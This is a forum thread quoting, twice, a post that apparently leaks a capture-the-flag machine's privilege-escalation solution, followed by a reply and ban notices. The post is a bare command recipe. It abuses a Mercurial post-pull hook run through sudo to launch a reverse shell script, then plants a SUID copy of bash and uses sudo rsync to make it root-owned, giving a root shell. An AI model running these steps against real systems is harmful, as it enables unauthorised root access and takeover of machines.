(Oct 06, 2024, 04:08 AM)hackemall Wrote: ROOT ROOT ROOT ROOT Check sudo privileges:u deserve reputation
Perform the following steps to escalate privileges:
bash
cd /tmp; mkdir .hg; chmod 777 .hg; cp ~/.hgrc .hg/hgrc
Add the reverse shell script at the last line in /tmp/.hg/hgrc:
javascript
[hooks]
post-pull = /tmp/revshell.sh
Execute:
bash
chmod +x the revshell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
Once you have dev privileges:
Command:
shell
$ cd /home/dev/
$ cp /bin/bash app-production/bash
$ chmod u+s app-production/bash
$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
$ /opt/app/bash -p
You now have root access.
(Oct 06, 2024, 04:08 AM)hackemall Wrote: ROOT ROOT ROOT ROOT Check sudo privileges:
Perform the following steps to escalate privileges:
bash
cd /tmp; mkdir .hg; chmod 777 .hg; cp ~/.hgrc .hg/hgrc
Add the reverse shell script at the last line in /tmp/.hg/hgrc:
javascript
[hooks]
post-pull = /tmp/revshell.sh
Execute:
bash
chmod +x the revshell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
Once you have dev privileges:
Command:
shell
$ cd /home/dev/
$ cp /bin/bash app-production/bash
$ chmod u+s app-production/bash
$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
$ /opt/app/bash -p
You now have root access.
whats the inside of revshell.sh file ??
This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed | /Thread-Free-HTB-All-Active-Challanges-Flags
Ban Reason: Asking for rep is not allowed | /Thread-Free-HTB-All-Active-Challanges-Flags